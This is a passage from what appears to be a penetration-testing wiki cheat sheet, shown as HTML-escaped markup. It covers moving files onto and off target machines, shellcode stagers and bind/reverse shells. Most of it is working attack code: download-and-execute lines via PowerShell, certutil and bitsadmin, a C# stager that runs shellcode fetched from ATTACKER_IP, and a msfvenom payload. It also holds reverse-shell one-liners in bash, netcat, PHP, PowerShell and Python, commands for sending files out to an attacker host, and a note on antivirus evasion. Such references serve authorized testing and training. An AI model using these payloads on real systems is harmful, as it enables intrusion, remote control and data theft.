wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
